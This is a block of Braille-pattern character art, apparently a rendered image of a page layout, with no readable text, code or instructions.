⣿⣿⣯⢹⡝⢋⠙⢹⡏⢫⠉⠍⣍⣹⠁⣝⠉⢹⢿⣯⠉⢙⢽⣯⠉⢹⠉⢨⡫⡋⠉⠹⣯⡇⣝⠙⡍⡏⡏⣭⠋⠉⡟⢹⣯⠉⠋⢫⣿⠋⣩⢙⢽⣯⠉⠉⢹⣯⠫⢽⢡⢙⠉⠹⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⡟⢿⠿⠿⠿⠿⠿⢿⡳⡞⡷⠿⠿⠿⢿⠿⠟⡿⠿⡟⡿⢿⠻⠿⡿⠿⢿⢿⡿⠟⢻⡟⡟⠿⡿⡿⠿⠻⡿⢿⡿⠿⠿⡿⠟⠿⠿⠿⠿⢿⣿⠿⠿⠿⠿⡟⠿⢿⢻⠻⢿⣿⢻⣿⢻⠿⠿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣷⣾⣴⣶⣶⣿⡶⣾⣷⣶⣷⣷⣶⣿⡾⣷⣶⡷⣿⣷⣶⣾⣶⣶⣷⡦⣶⣾⣶⣶⣾⣷⣷⣶⣿⣷⣶⣾⣶⡶⣷⣶⣶⣷⢶⣾⣶⣶⣶⣧⣿⣷⣶⣷⣶⣷⣾⣾⣾⣶⣶⣷⣶⣾⣶⣷⣶⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣇⣅⣱⣰⣅⣷⣂⣀⣮⣈⣻⠂⣰⣰⣀⣐⣃⣀⣅⣿⣀⣎⣀⣘⣯⣂⣇⣨⣠⣡⣈⣾⣀⣀⣪⣂⣇⣃⣸⣰⣆⣪⣆⣸⣀⣶⣑⣀⣖⣌⣄⣆⠐⣿⣸⣆⣀⣯⢂⣠⣢⣉⣼⣎⠀⣻⣎⣴⣀⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⡟⠛⣿⢛⠻⡟⠛⠛⣻⠏⠛⢻⠛⢻⠙⠛⡟⢻⢛⡛⢛⣿⠙⠛⣻⠛⢻⡛⠛⣻⡟⢛⢻⠛⡛⡟⠛⠻⣿⡋⢛⢙⠛⢛⡟⡛⠛⠛⠛⢛⠛⡛⠛⠛⠛⠻⡟⠛⡛⢻⡟⡛⠛⡛⡏⠛⠻⠛⠛⠛⢻⣿⣿⠀⠀⠀ ⣿⣿⡿⠿⠿⢿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣇⣠⣯⣤⣦⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀ ⣿⣿⡿⠛⣛⡛⢻⠛⡟⡻⠻⠛⢛⣻⠛⡟⢻⣟⠛⡿⣻⡛⠛⣛⠛⡿⡛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⡷⣷⣿⡶⣾⣶⣷⣷⣶⡶⣾⣾⣾⣶⡾⣷⣶⠧⣼⢷⡾⣾⣶⣾⣶⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⡟⣽⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣛⣛⣛⣹⣿⣿⣿⣿ ⡇⣿⣯⣲⢊⣿⣿⣿⣽⢉⠏⠛⢹⡏⡟⢛⠛⢟⠛⢻⠋⡋⣿⢩⢙⠟⢛⡛⣻⢉⠉⡟⡟⣻⠙⣿⠉⡟⠛⣛⢛⣻⢛⣋⡻⠛⣻⣯⡿⠛⡛⡛⡛⢉⠉⢻⣯⣩⣛⡟⠋⡟⢻⣿⣿⣿⣿⣿⣿⣿⣭⣉⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⠷⡺⣿⣿⣿⣾⣶⣷⣿⣾⣷⣶⣶⣿⣾⣶⣶⣶⣷⣿⣶⣾⣾⣶⣷⣿⣶⣶⣶⣶⣶⣶⣿⣶⣶⣾⣶⣶⣷⣾⣶⣾⣷⣾⣷⣶⣶⣯⣷⣾⣾⣶⣾⣿⣾⣶⣷⣷⣶⣾⣿⣿⣿⣿⣿⣿⣷⣿⣿⣷⣿⣿⣿⣿⣿ ⡇⣿⣿⣾⢾⣿⣿⣿⡱⢾⠩⡉⡉⠩⢩⠩⠏⠩⠍⡫⠍⢹⡟⡘⢩⠋⠄⡷⠖⠀⢈⠶⣿⠄⠀⠭⢽⢩⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣯⡻⣊⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⠛⠛⠟⡟⠻⡟⡻⠻⣻⡟⠛⠟⢻⡟⡟⠛⢛⣛⡟⣻⢻⠛⠛⠟⠛⠛⢻⠛⡛⠛⡟⠛⣛⢛⠟⠛⠻⢛⡻⣻⢟⠛⠛⠛⠛⡛⠛⡻⡛⣙⡛⢟⠛⠛⠛⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠖⠶⡶⠷⠾⢷⠷⡷⢶⠶⠶⢶⡾⢶⠷⠒⠶⡶⢦⠾⠾⠶⠶⠶⢶⠶⠺⡶⡲⡶⠷⠶⡶⠷⠶⠶⠾⢷⣶⣾⣷⣶⣶⣦⣶⣶⣶⣿⣶⣷⣷⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣤⣮⣽⣭⣭⣽⣤⣾⣵⣷⣾⣤⣧⣤⣤⣤⣯⣤⣥⣤⣧⣤⣤⣼⣤⣤⣬⣥⣧⣥⣭⣮⣤⣬⣶⣼⣬⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢿⣿⣿⣿⡿⣿⡿⢿⣿⢿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⡿⣿⣿⠿⣿⣿⣿⢿⣿⣿⡿⣿⣿⡿⡿⠿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣯⣤⣤⣧⣬⣵⣽⣬⣤⣄⣠⣤⣧⣽⣥⣬⣭⣤⣥⣽⣤⣼⣬⣤⣤⣼⣥⣤⣤⣬⣼⣥⣼⣤⣤⣤⣤⣤⣤⣤⣤⣯⣤⣬⣿⣭⣿⣤⣤⣤⣥⣧⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣉⡉⢉⣁⣙⣋⣉⢍⣏⣉⣉⣸⣋⣛⣙⢛⣘⣉⣉⣉⣉⣟⣩⣈⣉⣁⣋⣉⣙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣹⣶⣈⣉⣏⣉⣉⣉⣯⣩⣉⣉⣉⣉⣭⣉⣉⣁⣉⣉⣙⣏⣈⣉⣉⣹⣶⣔⣁⣎⣹⣭⣍⣉⣩⣁⡩⡙⣏⣉⣩⣨⡙⢻⣩⣝⣅⣏⣍⣁⣍⣉⣈⣩⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠋⠙⠛⠛⡟⠛⠛⢹⠛⠛⠛⡛⠛⢛⠛⠛⢿⠛⢛⠛⠛⠛⠛⠛⠛⠛⡟⠛⠛⠛⡛⠻⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⠙⠛⣛⠛⣻⠛⣍⣛⠟⣛⢟⢛⡟⠛⢙⢛⠛⡟⢛⣛⣻⢏⡛⠛⢛⠛⡛⡛⡟⡙⠛⡛⡋⠛⡟⠙⢛⡻⣛⢟⠛⢏⠋⠛⠛⣿⠟⠛⡛⢛⢛⣻⢟⠛⢛⢻⣟⠻⠻⡋⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⠿⠿⢿⠿⠷⠾⠿⢿⠿⠿⡿⣿⢷⠿⠿⢿⠿⠿⠿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣬⣬⣵⣥⣤⣵⣦⣵⣤⣭⣤⣤⣵⣴⣤⣬⣥⣤⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⡛⠉⠉⠉⡍⠋⢩⡟⠉⢝⣙⢙⡍⠉⣉⡏⡋⡫⡹⠉⢉⡋⡫⠩⡛⡋⠉⡍⠉⠩⡋⡏⡉⣙⠍⠉⢉⡫⠉⡏⡉⠋⣉⡉⠉⠩⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⠷⠿⠿⠿⠿⠿⠿⠿⠿⠾⠿⠿⠿⠿⠿⠾⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⢿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⡿⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⢶⡖⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⠒⢲⣖⣒⣒⣒⣒⣒⣒⣒⣒⡒⣶⣶⣿⣿⣿⣿⣿ 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⡇⣿⡿⢫⠛⣿⣿⣿⡿⣿⣿⣿⢿⣿⣿⡿⣿⣿⡿⣿⡿⣿⣿⢿⢿⣿⣿⣿⣿⣿⣿⢿⣿⡿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⢿⣿⣿⣿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠿⠻⣷⣾⣿⣿⣿⣿ ⡇⣿⣿⣿⣼⣿⣿⣿⣤⣴⣤⣯⣤⣼⣼⣷⣤⣤⣴⣿⣬⣷⣤⣤⣤⣤⣇⣠⣄⣶⣤⣤⣤⣧⣤⣤⣤⣦⣦⣼⣼⣷⣦⣶⣷⣾⣦⣾⣥⣬⣥⣥⣿⣷⣤⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣛⣛⣛⣿⣿⣿⣿⣿ ⡇⣿⣿⣩⣀⣿⣿⣿⣉⣉⣉⣩⣍⣉⣉⣉⣙⣈⣩⣍⡨⣹⣉⣉⣈⣉⣁⣏⣉⣏⣨⣉⣏⣩⣩⣈⣇⣉⣧⣉⣭⣹⣊⣊⣊⣜⣇⣇⣉⣉⣉⣏⣉⣉⣍⣭⣏⣉⣉⣩⣏⣉⣽⣉⣧⣴⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⡿⣿⡹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣮⣾⣿⣿⣿⣋⣩⣉⣉⣹⡘⣽⣏⣍⣩⣭⣿⣙⣩⣩⣏⣹⣍⣍⣭⣕⣩⣏⣁⡏⣉⣩⣉⣉⠉⣩⣹⣉⣏⣉⣉⣩⣭⣏⣏⣬⣫⡏⣉⣉⣭⣯⣩⣡⣍⣍⣽⣍⣯⣽⣩⡉⣭⣝⣍⣩⣏⣍⣹⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⡛⡛⣛⢟⢟⠙⡛⢙⡟⠛⢟⠛⢻⠙⠛⢟⢟⢟⠙⡛⠛⠛⢻⡛⡟⠙⠛⢛⢻⢻⢛⡛⣟⡻⠛⡻⣻⠙⠛⠛⣻⠛⠛⢛⣛⢛⣟⡻⠛⢟⡛⢛⢻⢛⠛⡛⡻⡛⠟⡛⣛⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⠷⠶⠶⣶⠷⠶⡶⠞⠷⠶⢷⠶⠾⠶⣾⣷⣷⣷⣶⣶⣶⣶⣾⣷⣷⣶⣶⣾⣾⣶⣶⣷⣿⣶⣶⣾⣾⣶⣶⣾⣾⣶⣶⣾⣶⣶⣿⣶⣶⣷⣶⣶⣾⣾⣾⣶⣷⣿⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣤⣤⣯⣥⣭⣽⣥⣥⣤⣴⣽⣴⣥⣤⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⠿⣿⢿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⢿⣿⣿⣿⣿⣿⢿⣿⢿⣿⣿⠿⠿⢿⣿⣿⣿⡿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣤⣤⣼⣥⡅⠈⠀⠀⠉⠈⠁⠀⠁⠀⠁⠁⠀⠀⠉⠀⠀⠉⠉⠀⠉⣥⣯⣤⣤⣥⣤⣬⣼⣥⣼⣤⣴⣽⣶⣯⣭⣨⣥⣤⣿⣤⣤⣬⣗⣾⣥⣥⣤⣷⣾⣬⣥⣽⣯⣥⣤⣽⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣁⣉⣋⣅⡂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣱⣩⣹⣭⣝⣇⣁⣩⣩⣉⣈⣍⣷⡇⣉⣉⣹⣉⣍⣭⡭⣹⣉⣭⣈⣿⣮⣉⣉⣉⣈⣸⣈⣉⣯⣭⣉⣩⡍⣁⣩⢍⣉⣁⣏⣉⣉⣉⣻⣈⣏⣩⣭⣉⣏⣈⣩⣽⣍⣏⣱⣉⣹⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⠙⠛⠛⢻⡟⠛⢛⠋⠛⢻⠉⠍⡏⠛⠛⡯⠙⠛⠛⠛⠙⠛⢻⢛⠟⠛⢻⠙⢻⠛⠛⡋⠛⠛⠛⠛⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣾⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⢹⠙⠛⠛⠻⠛⡛⢹⠙⡛⣻⡟⠛⢛⡏⡟⡛⡛⡟⠛⢛⡟⠛⠛⣿⠛⢻⢻⢛⣛⡟⠛⡛⣻⣝⠛⠻⠛⡛⢙⠛⠉⡟⠋⢛⠟⡛⣫⡻⡛⡛⣟⣛⡟⢉⢙⢽⡏⠛⣝⢛⠛⡏⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⢿⠟⢻⢿⢿⠿⢿⡿⡿⠿⡿⢿⣿⣿⢿⣿⠿⠿⠿⠿⢿⠿⡿⠿⡿⡿⠻⡿⠿⣿⢿⢿⢿⠿⠿⠿⠿⢿⠿⢻⡿⡿⠷⡿⠟⢾⠿⣟⠿⢿⠿⠿⠿⡿⡿⡿⡿⢿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣴⣥⣼⣴⣴⢵⣵⣯⣧⣽⣤⡼⣽⣵⣶⣽⢯⣬⣤⣼⢵⣼⣯⣭⣮⣧⡭⣮⣶⣧⣵⣵⣾⣤⣤⣤⣬⣴⣥⣬⡯⣦⣤⢧⣭⣤⣥⣯⣮⣤⣥⣥⣤⣤⣧⢬⣮⣮⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣴⣤⣦⣆⣶⣤⣴⣄⣸⣯⣬⣦⣤⣴⣤⣦⣾⣧⣤⣵⣷⣹⣤⣴⣤⣾⣤⣤⣦⣴⣧⣤⣶⣦⣾⣄⣰⣴⣴⣴⣤⣧⣵⣶⣮⣦⣦⣶⣮⣦⣦⣦⣧⣦⣤⣤⣾⣶⣦⣾⣦⣤⣴⣶⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⠉⠉⠹⠭⠜⢝⢭⡟⠉⠉⢸⠉⠉⠉⢍⠋⣯⠭⣻⠉⠍⡟⢹⡫⡫⡟⠉⡍⡫⠉⢹⠉⠍⠉⢹⠈⠹⢥⡏⠭⢹⠩⠉⢉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⠉⠉⠛⡟⠛⠛⠿⡹⠛⡻⠛⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⣷⣽⣿⣿⣿⣿⣿⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣾⣿⣿⣿⣿ ⡏⣾⣿⠟⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣧⣼⣿⣿⣿⣿ ⡇⣿⣧⡽⢡⣿⣿⣿⡁⣉⣫⣏⣉⣩⣩⣉⣍⣍⣍⣉⣉⣩⣉⣏⣋⣉⣩⡝⣏⣁⣿⣉⣩⣩⣽⣮⡍⢁⣹⢉⣉⣁⣈⣩⣩⣉⣩⣉⣭⣫⣉⣯⣩⣍⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣶⣶⡿⣿⣿⣿⣿⣿ ⡇⣿⣿⢛⠉⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⢿⣿⣿⣿⣿ 